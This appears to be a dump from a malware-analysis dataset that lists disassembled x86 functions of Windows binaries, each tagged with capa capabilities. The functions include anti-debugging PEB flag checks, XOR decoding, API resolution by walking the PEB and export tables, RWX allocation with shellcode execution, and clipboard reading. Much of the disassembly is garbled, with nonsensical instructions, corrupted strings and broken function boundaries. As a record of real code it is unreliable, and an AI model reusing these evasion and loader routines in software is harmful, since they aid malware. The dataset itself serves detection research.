joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b4b8
Capabilities:
Terminate process

Disassembly:
add al, 0xe8
das
cmp eax, dword [eax]
add byte [eax - 1], ch
add byte [eax], al
add bh, bh
adc eax, 0x42ffb0

Function at 0x40eba9
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
mov eax, dword [0x4332e8]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, ebp
cmp eax, ebx
jne 0x40ebf7
call ebp
mov esi, eax
cmp esi, ebx
je 0x40ebd8
mov dword [0x4333e8], 1
imul ebp, dword [eax], 0xffffffdf
adc eax, sym.imp.KERNEL32.dll_GetEnvironmentStrings
fist word [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov edi, eax
cmp edi, ebx
je 0x40ecd2
mov dword [0x4333e8], 2
enter 0x8f, 0
add byte [ebx - 0x7af2fe08], al
add dword [eax], 0xf33b0000
jne 0x40ec10
cmp eax, 1
or eax, 0x8185
add byte [ebx], bh
jne 0x40ec10
call ebp
mov eax, esi
cmp esi, ebx
je 0x40ecd2
cmp word [esi], cx
mov eax, esi
je 0x40ec25
inc eax
inc eax
cmp word [eax], bx
jne 0x40ec17
inc eax
inc eax
cmp word [eax], bx
jne 0x40ec17
sub eax, esi
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov dword [esp + 0x34], eax
call ebx
mov ebp, eax
cmp ebp, ebx
je 0x40ec76
push ebp
call fcn.0040b557
cmp eax, ebx
pop ecx
mov dword [esp + 0x10], eax
je 0x40ec76
push ebx
push ebx
push ebp
push eax
push dword [esp + 0x24]
push esi
push ebx
push ebx
call edi
test eax, eax
jne 0x40ec72
push dword [esp + 0x10]
call fcn.0040b5e3
pop ecx
mov dword [esp + 0x10], ebx
mov ebx, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
jmp 0x40ecd4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0x40efed
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4303e0
cmp edx, dword [eax]
je 0x40f00f
add eax, 8
inc ecx
cmp eax, 0x430470
jl 0x40f000
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x303e0]
jne 0x40f13d
sbb al, 1
add byte [eax], al
mov eax, dword [0x433254]
cmp eax, 1
je 0x40f117
test eax, eax
jne 0x40f040
cmp dword [0x42ffb4], 1
je 0x40f117
cmp edx, 0xfc
je 0x40f13d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40f077
lea eax, [ebp - 0x1a4]
push str._program_fAme_unknown_
push eax
loopne 0x40f01d
adc byte [eax], al
add byte [ecx + 0x59], bl
lea eax, [ebp - 0x1a4]
push edi
push eax
Function at 0x40f07f
Capabilities:
Write file on windows

Disassembly:
mov dword [ebp - 0x1a4], edi
call fcn.00410210
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40f0ba
lea eax, [ebp - 0x1a4]
push eax
call fcn.00410210
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x427f38
push edi
call fcn.00411cb0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Rtntime_Error__n_nProgram:
push eax
call fcn.00410120
lea eax, [ebp - 0xc0]
push edi
push eax
call fcn.00410130
lea eax, [ebp - 0xa0]
push 0x427f18
push eax
call fcn.00410130
sti
cmpsb byte [esi], byte es:[edi]
in al, 3
inc ebx
add byte [ebp - 0x9f7c], cl
call dword [eax - 0x18]
xor eax, 0x68000010
adc byte [eax], ah
add dword [eax], eax
lea eax, [ebp - 0x1000a0]
push str.Microsgft_Visual
push eax
call fcn.00411c20
add esp, 0x26eb5f2c
or eax, 0xb68d0845
in al, 3
inc ebx
add byte [edx], ch
push eax
push dword [esi]
call fcn.00410210
pop ecx
push eax
div dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
invalid

Function at 0x4135f2
Capabilities:
Get file size

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
or edi, 0xffffffff
test byte [esi + 0xc], 0x83
je 0x413635
push esi
call 0xffc129f9
push esi
mov edi, eax
call fcn.00413f3b
sti
jbe 0x413622
call fcn.00413e5b
add esp, 0xc
test eax, eax
jge 0x413623
or edi, 0xffffffff
jmp 0x413635
adc cl, byte [ebx - 0x3f7ae3ba]
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x413635
push eax
call fcn.0040b5e3
and dword [edx + 0x1c], 0
pop ecx
and dword [esi + 0xc], 0
mov eax, edi
pop edi
pop esi
inc ebx
push ebx
mov ebx, dword [esp + 8]
cmp ebx, dword [0x434760]
push esi
push edi
jae 0x4136bf
mov eax, ebx
sar eax, 5
lea edi, [eax*4 + 0x434640]
mov eax, ebx
and eax, 0x1f
lea esi, [eax + eax*8]
mov eax, dword [edi]
shl esi, 2
test byte [eax + esi + 4], 1
je 0x4136bf
push ebx
call 0x3d28c9
mov eax, dword [edi]
pop ecx
test byte [eax + esi + 4], 1
je 0x4136a6
push ebx
call 0x392887
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
jne 0x413699
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x41369b
xor esi, esi
test esi, esi
jo 0x4136b4
call fcn.0040cf55
mov dword [eax], esi
call fcn.0040cf4c
mov dword [eax], 9
or esi, 0xffffffff
push ebx
call fcn.00412928
pop ecx
mov eax, esi
jmp 0x4136cd
call fcn.0040cecc
mov dword [eax], 9
or eax, 0xffffffff
pop edi
push esi
pop ebx
ret
Function at 0x417530
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + eax + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41755b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
shl byte [eax], 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41757f
xor eax, eax
pop ebp
pop ebp
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [ecx]
cmp byte [edx + 0x42], dl
add byte [ebx + 0x75ed85e8], cl
or al, 0x33
rcr byte [ebp + 0x5f], 0x5e
dec ebx
add esp, 4
ret 0x20

Function at 0x41c50b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x41c54d
call fcn.004204a8
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x41c54d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x41c544
xor eax, eax
jmp 0x41c555
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0041c55b
pop edi
pop esi
pop ebx
ret 4

Function at 0x41ee1f
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
mov eax, 0x100
cmp esi, eax
ja 0x41ee66
push eax
lea eax, [0xedffff00]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, esi
jne 0x41ee66
push dword [ebp + 0xc]
lea eax, [ebp - 0x300]
push eax
jg 0x41ee73
inc eax
push edx
inc edx
add byte [ebp - 0xf38b40], al
or al, 0xff
jno 0x41ee74
jmp dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_SetWindowTextA]
pop esi
leave
inc edx
or byte [eax], al

Function at 0x4214b0
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4214de
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4214fc
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00421416
jmp 0x4214fc
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4214fc
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00421416
test edi, edi
mov eax, edi
jne 0x4214e6
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
Function at 0x487892
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
lea eax, [eax + 0xc]
mov edx, eax
cmp edx, eax
je 0x4878ec
push eax
push 0x4863f6
call fcn.0048792a
push 7
push 0x4cf0bc
push dword [eax + 0x30]
call fcn.00487c83
cmp eax, 0
jne 0x4878c6
inc eax
jmp 0x4878ee
push 0x48640e
call fcn.0048792a
push 7
push 0x4cf0bc
push dword [eax + 0x30]
call fcn.00487c83
cmp eax, 0
jne 0x4878e7
inc eax
jmp 0x4878ee
pop eax
mov eax, dword [eax]
jmp 0x4878a0
xor eax, eax
ret

Function at 0x487904
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
mov eax, dword fs:[0x30]
mov al, byte [eax + 0x68]
and al, 0x70
cmp al, 0x70
sete al
movzx eax, al
ret

Function at 0x487918
Capabilities:
Check for peb beingdebugged flag

Disassembly:
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
test al, al
setne al
movzx eax, al
ret

Function at 0x48792a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
lea edi, [0x4cf0bc]
mov esi, dword [ebp + 8]
lodsw ax, word [esi]
xor ax, 0x97
stosw word es:[edi], ax
cmp ax, 0
jne 0x487938
pop edi
pop esi
leave
ret 4

Function at 0x48794c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
lea edi, [0x4cf0bc]
mov esi, dword [ebp + 8]
lodsb al, byte [esi]
xor al, 0x97
stosb byte es:[edi], al
cmp al, 0
jne 0x48795a
pop edi
pop esi
leave
ret 4

Function at 0x487b8e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x3c]
mov eax, dword [eax + ebx + 0x78]
add eax, ebx
mov ecx, dword [eax + 0x18]
mov edx, dword [eax + 0x20]
mov edi, dword [edx + ebx]
test edi, edi
je 0x487bdf
add edi, ebx
xchg esi, eax
push ecx
xor eax, eax
lea ecx, [eax - 1]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg esi, eax
mov esi, dword [ebp + 0xc]
repe cmpsb byte [esi], byte es:[edi]
pop ecx
jne 0x487bdf
sub ecx, dword [eax + 0x18]
neg ecx
mov edx, dword [eax + 0x24]
add edx, ebx
movzx edx, word [edx + ecx*2]
mov eax, dword [eax + 0x1c]
add eax, ebx
mov eax, dword [eax + edx*4]
add eax, ebx
jmp 0x487be6
add edx, 4
loop 0x487ba6
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret 8

Function at 0x487bed
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
push esi
push edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
lea ebp, [eax + 0xc]
mov eax, dword [ebp]
mov esi, dword [eax + 0x30]
movzx ecx, word [eax + 0x2e]
mov edi, dword [esp + 0x10]
mov dx, word [esi]
cmp dx, word [edi]
je 0x487c39
cmp dx, 0x41
jb 0x487c1e
cmp dx, 0x5a
jbe 0x487c24
cmp dx, 0x61
jb 0x487c30
cmp dx, 0x7a
ja 0x487c30
xor dx, 0x20
jmp 0x487c32
jmp 0x487c4c
cmp dx, word [edi]
je 0x487c39
jmp 0x487c4c
add edi, 2
add esi, 2
sub ecx, 2
cmp ecx, 0
jne 0x487c0a
mov eax, dword [eax + 0x18]
jmp 0x487c54
mov eax, dword [eax]
cmp ebp, eax
jne 0x487bff
xor eax, eax
pop edi
pop esi
pop ebp
ret 4
Function at 0x4c9000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x4014b6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x50
push ebx
push esi
push edi
mov dword [ebp - 0xc], esp
mov dword [ebp - 8], 0x401380
xor ebx, ebx
push 0x4bdd66
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x54], ebx
call fcn.004c8f20
mov ecx, dword [0x4cf24c]
mov esi, dword [sym.imp.MSVBVM60.DLL_VarPtr]
lea edx, [ebp - 0x18]
push edx
mov dword [ecx + 0xc], eax
call esi
mov ecx, dword [0x4cf24c]
push 4
mov edx, dword [ecx + 0xc]
push edx
push eax
call fcn.00487d07
mov eax, dword [ebp - 0x18]
push 0x40
push 0x3000
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ecx, dword [ebp - 0x18]
push ebx
dec ecx
lea edx, [ebp - 0x1c]
push ecx
push 1
push 0x11
push edx
push 1
push pe_nt_image_headers32
mov edi, eax
call dword [sym.imp.MSVBVM60.DLL___vbaRedim]
mov eax, dword [ebp - 0x1c]
mov ebx, dword [sym.imp.MSVBVM60.DLL___vbaAryLock]
add esp, 0x1c
lea ecx, [ebp - 0x34]
push eax
push ecx
call ebx
mov eax, dword [ebp - 0x34]
mov edx, dword [eax + 0xc]
mov ecx, dword [eax + 0x14]
sub edx, ecx
push edx
call esi
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaAryUnlock]
mov edx, dword [0x4cf24c]
mov ecx, dword [ebp - 0x18]
push ecx
mov ecx, dword [ebp - 0x58]
mov eax, dword [edx + 0xc]
add eax, 4
push eax
push ecx
call fcn.00487d07
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 0x34]
push edx
push eax
call ebx
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
mov edx, dword [eax + 0x14]
sub ecx, edx
push ecx
call esi
lea edx, [ebp - 0x34]
mov dword [ebp - 0x58], eax
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaAryUnlock]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x58]
push eax
push ecx
push edi
call fcn.00487d07
mov edx, dword [ebp + 0x10]
lea eax, [ebp - 0x44]
push edx
push eax
call fcn.004c8f30
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 0x34]
mov eax, dword [ecx]
push eax
push edx
mov dword [ebp - 0x64], eax
call ebx
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
mov edx, dword [eax + 0x14]
sub ecx, edx
push ecx
call esi
lea edx, [ebp - 0x34]
mov esi, eax
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaAryUnlock]
mov eax, dword [ebp - 0x64]
push eax
call fcn.00487cf9
push eax
lea ecx, [ebp - 0x44]
push esi
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaI4Var]
push eax
push edi
call fcn.004c5161
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x54], 3
call dword [sym.imp.MSVBVM60.DLL___vbaVarMove]
lea ecx, [ebp - 0x44]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
push 0x4c91c0
jmp 0x4c91b3
lea eax, [ebp - 0x1c]
push eax
push 0
call dword [sym.imp.MSVBVM60.DLL___vbaAryDestruct]
ret
Function at 0x711ca570
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.711dab80
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.711dab80
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x711ca5d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x712ee054]
test esi, esi
jle 0x711ca6f0
mov eax, dword [0x712ee058]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x711ca604
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x711ca687
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x711ca5f0
mov dword [esp], ebx
call fcn.711cad30
mov edi, eax
test eax, eax
je 0x711ca717
mov eax, dword [0x712ee058]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.711cae70
mov edx, dword [0x712ee058]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x711ca6f7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x711ca680
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x711ca690
add dword [0x712ee054], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x712ee058]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x711ca680
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.711ca570
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x711ca60e
mov eax, dword [0x712ee058]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.711ca570
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.711ca570
lea esi, [esi]
nop
Function at 0x711ca9b0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x712ee064
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x712ee05c]
sub esp, 4
test ebx, ebx
je 0x711caa05
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x711ca9fe
test esi, esi
je 0x711ca9fe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x711ca9e0
mov dword [esp], 0x712ee064
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x711cad30
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x711c0000], 0x5a4d
jne 0x711cad55
mov ecx, dword [0x711c003c]
cmp dword [ecx + 0x711c0000], 0x4550
lea edx, [ecx + 0x711c0000]
je 0x711cad60
ret
cmp word [ecx + 0x711c0018], 0x10b
jne 0x711cad55
push esi
movzx eax, word [ecx + 0x711c0014]
push ebx
movzx esi, word [ecx + 0x711c0006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x711c0000
test esi, esi
je 0x711cada8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x711cad9e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x711cadaa
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x711cad90
xor eax, eax
pop ebx
pop esi
ret

Function at 0x711cb320
Capabilities:
Allocate thread local storage

Disassembly:
mov eax, dword [0x712ee060]
test eax, eax
jne 0x711caa30
ret
push ebx
sub esp, 0x18
mov dword [esp + 4], 0xc
mov dword [esp], 1
call sub.msvcrt.dll_calloc
mov ebx, eax
test eax, eax
je 0x711caa90
mov eax, dword [esp + 0x20]
mov dword [esp], 0x712ee064
mov dword [ebx], eax
mov eax, dword [esp + 0x24]
mov dword [ebx + 4], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x712ee05c]
mov dword [0x712ee05c], ebx
sub esp, 4
mov dword [ebx + 8], eax
mov dword [esp], 0x712ee064
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
sub esp, 4
add esp, 0x18
pop ebx
ret
or eax, 0xffffffff
jmp 0x711caa8b
push esi
push ebx
sub esp, 4
mov esi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x711cb350
mov dword [esi], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], eax
add esp, 4
pop ebx
pop esi
jmp 0x711dad80
add esp, 4
pop ebx
pop esi
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 8]
test eax, eax
jne 0x711dad90
xor eax, eax
ret
jmp 0x711caa20

Function at 0x711cb390
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x711cb3d0
Capabilities:
Set thread local storage value

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
je 0x711cb3f8
xor eax, eax
add esp, 0x1c
ret
add esp, 0x1c
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x711db0d0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 0x5c
mov eax, dword [esp + 0x60]
mov dword [esp + 0x1c], eax
mov eax, dword [0x712ee02c]
mov dword [esp + 0x4c], eax
xor eax, eax
mov dword [esp], 1
mov eax, dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
call eax
sub esp, 4
test eax, eax
sete al
test al, al
je 0x711db138
lea eax, [esp + 0x2b]
mov ecx, eax
call fcn.71229c00
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x2b]
mov dword [esp + 4], edx
mov dword [esp], 0x712a8432
mov ecx, eax
call fcn.71266e20
sub esp, 8
lea eax, [esp + 0x2b]
mov ecx, eax
call fcn.71229c30
jmp 0x711db2a8
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_OpenClipboard]
call eax
sub esp, 4
test eax, eax
sete al
test al, al
je 0x711db18a
lea eax, [esp + 0x2b]
mov ecx, eax
call fcn.71229c00
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x2b]
mov dword [esp + 4], edx
mov dword [esp], 0x712a8432
mov ecx, eax
call fcn.71266e20
sub esp, 8
lea eax, [esp + 0x2b]
mov ecx, eax
call fcn.71229c30
jmp 0x711db2a8
mov dword [esp], 1
mov eax, dword [sym.imp.USER32.dll_GetClipboardData]
call eax
sub esp, 4
mov dword [esp + 0x2c], eax
cmp dword [esp + 0x2c], 0
jne 0x711db1e5
mov eax, dword [sym.imp.USER32.dll_CloseClipboard]
call eax
lea eax, [esp + 0x2b]
mov ecx, eax
call fcn.71229c00
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x2b]
mov dword [esp + 4], edx
mov dword [esp], 0x712a8432
mov ecx, eax
call fcn.71266e20
sub esp, 8
lea eax, [esp + 0x2b]
mov ecx, eax
call fcn.71229c30
jmp 0x711db2a8
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GlobalLock]
call eax
sub esp, 4
mov dword [esp + 0x30], eax
cmp dword [esp + 0x30], 0
jne 0x711db23d
mov eax, dword [sym.imp.USER32.dll_CloseClipboard]
call eax
lea eax, [esp + 0x2b]
mov ecx, eax
call fcn.71229c00
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x2b]
mov dword [esp + 4], edx
mov dword [esp], 0x712a8432
mov ecx, eax
call fcn.71266e20
sub esp, 8
lea eax, [esp + 0x2b]
mov ecx, eax
call fcn.71229c30
jmp 0x711db2a8
lea eax, [esp + 0x2b]
mov ecx, eax
call fcn.71229c00
lea eax, [esp + 0x34]
lea edx, [esp + 0x2b]
mov dword [esp + 4], edx
mov edx, dword [esp + 0x30]
mov dword [esp], edx
mov ecx, eax
call fcn.71266e20
sub esp, 8
lea eax, [esp + 0x2b]
mov ecx, eax
call fcn.71229c30
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call eax
sub esp, 4
mov eax, dword [sym.imp.USER32.dll_CloseClipboard]
call eax
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x34]
mov dword [esp], edx
mov ecx, eax
call fcn.71266d50
sub esp, 4
lea eax, [esp + 0x34]
mov ecx, eax
call fcn.71267940
mov eax, dword [esp + 0x4c]
sub eax, dword [0x712ee02c]
je 0x711db2b9
call fcn.711c15c0
mov eax, dword [esp + 0x1c]
add esp, 0x5c
ret